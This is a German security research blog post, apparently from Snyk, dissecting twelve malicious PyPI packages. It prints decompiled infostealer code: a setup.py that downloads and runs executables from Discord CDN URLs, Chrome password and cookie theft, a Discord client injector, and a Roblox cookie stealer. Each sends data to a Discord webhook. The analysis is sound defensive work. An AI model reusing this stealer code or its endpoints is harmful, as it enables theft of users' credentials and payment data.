Snyk identifiziert PyPi-Malware, die Daten und Zahlungsinformationen von Discord und Roblox Nutzern abgreift
August 16, 2022
0 Min. LesezeitUnser Research-Team prüft Open-Source-Ökosysteme kontinuierlich auf Schadpakete. Zum Einsatz kommen dabei statische Code-Analysen, die verdächtige Pakete identifizieren und Alerts dazu ausgeben. Von jedem gefundenen Schadpaket berichten wir nach Veröffentlichung dem Paket-Manager und fügen es darüber hinaus der Snyk Schwachstellen-Datenbank hinzu. Im Rahmen aktueller Analysen identifizierten wir etwa 12 separate Malware-Komponente aus der Feder desselben Angreifers. Diese Schadpakete versuchten, Windows-Geräte zu infiltrieren, vom Discord Content Delivery Network (CDN) heruntergeladene Schadpakete auf dem Host auszuführen und der Erkennung zu entgehen.
Um eine Schadanwendung mitsamt zugehörigen Abhängigkeiten in einem Paket zu kombinieren, nutzten sie PyInstaller, dies mit doppeltem Zweck: Einerseits sollte durch das Bundling der Abhängigkeiten (statt Download von einem Remote-Server) die Erkennung vermieden, zum anderen eine ausführbare Datei bereitgestellt werden, die keinen Interpreter benötigt.
Ziel der Malware sind Daten, die im Zusammenhang mit allgemeinen Anwendungen gespeichert werden. Wird sie ausgeführt, versucht sie, Daten von Google Chrome wie Passwörter, Cookies, Browser- und Suchverlauf sowie Bookmarks zu entwenden. Ein typisches Ziel von Angreifern, da sie sich mit diesen Daten dann durch die Konten der Nutzer bewegen können.
Discord als Online-Chatanwendung befindet sich ebenfalls im Visier der Angreifer. Hier werden Token aus- und ein Schadagent dauerhaft eingeschleust. Der Discord Injector benannte Schadcode kann dabei eine äußerst beunruhigende Menge an Informationen weitergeben. Dies endet längst nicht bei den Benutzerdetails, sondern betrifft auch Kreditkarteninformationen, wenn diese bei geladenem Injector eingegeben werden.
Ein weiterer interessanter Faktor bei dieser Malware: Sie nutzt Discord-Ressourcen, um ausführbare Dateien im System einzuschleusen. Ganz neu ist dieses Vorgehen im Grunde nicht, aber die Verwendung von cdn.discord.com
stieß unseren Analysten ins Auge. Die Binärdateien werden über das Discord CDN auf den Host manövriert.
Genaueres Analyse-Augenmerk wollen wir dabei beispielhaft dem cyphers
Paket widmen. Diese Malware setzt sich aus zwei ausführbaren Dateien zusammen.
ZYXMN.exe
- greift auf Discord private Daten ab und gibt Nutzerdetails und sensible Informationen aus dem Browser weiter, um Discord Malware in die Anwendung selbst einzubringen.ZYRBX.exe
- hat die Aufgabe, Roblox Cookies und Benutzerdaten abzugreifen.
Paket-Teardown: cyphers
Nach Download und Extraktion des Paket-Tarball fielen uns zunächst einige ungewöhnliche Aspekte an der setup.py
Datei auf (im Folgenden verkürzt wiedergegeben):
1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")
Wie wir sehen, versucht sie, zwei Binärdateien von einem Discord CDN-Server herunterzuladen: ZYXMN.exe
und ZYRBX.exe
. Sie versucht sie dann als beliebige ausführbare Windows-Dateien auszugeben und startet sie. Anschließend werden die Dateien aus dem System gelöscht, um die Spur zu verwischen.
Aber sehen wir uns genauer an, was nach Ankunft dieser beiden Dateien im System passiert:
ZYXMN.exe
Nach Ausführung von binwalk
und strings
über die Binärdatei zeigt sich, dass sie mit PyInstaller erstellt wurde. Einer Bibliothek also, die, inklusive z. B. Runtime-Abhängigkeiten, als Bundle für eine gesamte Python-Anwendung fungiert.
Extrahieren lässt sich das mit extremecoders-re/pyinstxtractor. Dabei entdeckten wir auch ZYXMN.pyc
– kompilierter Python-Bytecode als Eingangspunkt für die Anwendung. Bei der Dekompilierung mit rocky/python-uncompyle6 offenbarten sich dann auch die versteckten Geheimnisse dieses Schadpakets.
main()
1def main() -> None:
2 webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3 pingmsg = 'soulcord run da wrld'
4 greenhillzone = {'content': f"@everyone {pingmsg}"}
5 requests.post(webhook, json=greenhillzone)
6 debug()
7 threads = []
8 for operation in (
9 discord, google, injection):
10 thread = Thread(target=operation, args=(webhook,))
11 thread.start()
12 threads.append(thread)
13 else:
14 for thread in threads:
15 thread.join()
16 else:
17 system(webhook)
Die Hauptfunktion führt im Grunde drei Abläufe aus (Threads), die alle auf einen unterschiedlichen Payload-Bereich abzielen. Per webhook
Argument entwenden sie ihre Resultate dann aus dem System. Auch dies geschieht über eine Discord URL (discord.com
).
1class google:
2 def __init__(self, webhook: str) -> None:
3 webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4 self.appdata = os.getenv('LOCALAPPDATA')
5 self.databases = {
6 self.appdata + '\\Google\\Chrome\\User Data\\Default',
7 self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8 self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9 self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10 self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11 self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12 self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13 self.files = [
14 '.\\nrozi3tvz1x7df3I-p.txt',
15 '.\\JN6Kq3DLrH6eJ8px-c.txt',
16 '.\\MVvztUI6Dyc1iHIB-wh.txt',
17 '.\\jDW68AZgMg9PUg1O-h.txt',
18 '.\\elr6GRUCz1eKhT0q-b.txt']
19 self.password()
20 self.cookies()
21 self.web_history()
22 self.search_history()
23 for file in self.files:
24 if not os.path.isfile(file):
25 pass
26 elif os.path.getsize(file) > 8000000:
27 pass
28 else:
29 webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30 else:
31 for file in self.files:
32 if os.path.isfile(file):
33 os.remove(file)
Die Malware versucht, den Master Key von Google Chrome zu entschlüsseln, auf lokale Browser-Datenbanken zuzugreifen und die folgenden privaten Daten auszuschleusen:
Cookies
Browser-Verlauf
Suchverlauf
Injection
1def __init__(self, webhook: str):
2 self.appdata = os.getenv('LOCALAPPDATA')
3 self.discord_dirs = [
4 self.appdata + '\\Discord',
5 self.appdata + '\\DiscordCanary',
6 self.appdata + '\\DiscordPTB',
7 self.appdata + '\\DiscordDevelopment']
8 self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9 for dir in self.discord_dirs:
10 if not os.path.exists(dir):
11 pass
12 elif self.get_core(dir) is not None:
13 with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14 f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15 self.start_discord(dir)
Der Code versucht dabei, eine Datei namens index.js
im Verzeichnis discord_desktop_core
mit dem Inhalt aus der Eigenschaft self.code
zu erstellen und die Discord Anwendung auszuführen. Das Script kann dann im Kontext der Anwendung ausgeführt werden.
Nachdem wir den String in einer Datei abgelegt und den Inhalt analysiert hatten, fiel uns auf, dass er aus dem Rdimo/Discord-Injection Repository stammt. Dieser enthält ein Schadscript, das private Daten von Discord Nutzern abgreift.
ZYRBX.exe
Denselben Prozess wandten wir an, um den Python-Quellcode wie im vorangegangenen Fall aus dieser Binärdatei zu extrahieren. Der Schadcode führt den folgenden Code-Block auf unterschiedlichen Browsern aus:
1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2 site = 'roblox.com'
3 if site == 'roblox.com':
4 try:
5 cookiesall = browser_cookie3.edge(domain_name=site)
6 cookiesall = str(cookiesall)
7 roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8 req = requests.Session()
9 req.cookies['.ROBLOSECURITY'] = roblosec
10 user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11 ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12 robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13 Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14 prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15 embed = {'title':'Cookie Found',
16 'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17 'color':0,
18 'thumbnail':{'url': Avatar}}
19 data = {'embeds': [embed]}
20 requests.post(url, json=data)
21 embed2 = {'title':'Cookie Information',
22 'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23 'color':0,
24 'thumbnail':{'url': Avatar}}
25 data2 = {'embeds': [embed2]}
26 requests.post(url, json=data2)
Dieses Stück Code greift den .ROBLOSECURITY
Cookie aus Roblox ab und überträgt ihn an den Discord Webhook zusammen mit Daten wie Benutzername, ID, Roblox Guthaben, Thumbnail und Benutzer-Kontostufe in Roblox. Versucht wird dies über Microsoft Edge, Google Chrome, Chromium, Firefox und Opera.
Unsere Ergebnisse in der Zusammenfassung
Insgesamt wurden diese 12 Schadpakete desselben Angreifers identifiziert:
Paketname | Version | Beschreibung | Schädliche ausführbare Datei | Upload-Dauer |
---|---|---|---|---|
hackerfilelol | 0.0.1 | This is pro hacker module\\n\\ngang | \*Main.exe | July 31, 2022 16:23 |
hackerfileloll | 0.0.1 | This is pro hacker module\\n\\ngang | \*Main.exe | July 31, 2022 16:27 |
stealthpy | 0.0.1 | gang | ZYXM.exe, ZYRBX.exe | July 31, 2022 18:32 |
plutos | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | July 31, 2022 21:01 |
testpipper | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 11:27 |
testpipperz | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 11:33 |
pippytest | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 11:35 |
pippytests | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. | ZYXM.exe, ZYRBX.exe | August 1, 2022 12:16 |
cyphers | 0.0.1 | A basic module used to manage multiple threads at once much more efficiently. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 12:27 |
rblxtools | 0.0.1 | A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 19:14 |
rbxtools | 0.0.1 | A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us. | ZYXM.exe, ZYRBX.exe | August 1, 2022 19:22 |
rbxtool | 0.0.1 | A basic module to use a variety of roblox tools much easier, primarily based on the requests library. For any help with the module, contact us. \*Main.exe - identical to | ZYXM.exe, ZYRBX.exe | August 1, 2022 19:26 |
Wir spüren verdächtige Aktivitäten in einer Vielzahl an Paket-Ökosystemen mit komplexen Techniken und Methoden auf und informieren die jeweiligen Paket-Maintainer, die Community und unsere Nutzer stets schnellstmöglich. Dieses Vorgehen halten wir für essenziell, um Open-Source-Software und technologische Ökosysteme generell hinlänglich abzusichern.
Die Ergebnisse unserer Arbeit können Sie direkt nutzen – mit einem kostenlosen Snyk Konto. Schnell entwickeln. Mit Sicherheit: Snyk identifiziert Schwachstellen in Open-Source-Abhängigkeiten, proprietärem Code, Base-Images und Cloud-Infrastruktur mit branchenführender Security Intelligence – und liefert nahtlos umsetzbare Fixing-Hinweise inklusive 1-Click Pull-Requests.
Open-Source-Abhängigkeiten ohne Anfälligkeiten
Ob transitiv oder direkt, mit Snyk beheben Sie Schwachstellen in Open-Source-Abhängigkeiten mit nicht mehr als einem Klick – einfach via Pull-Request.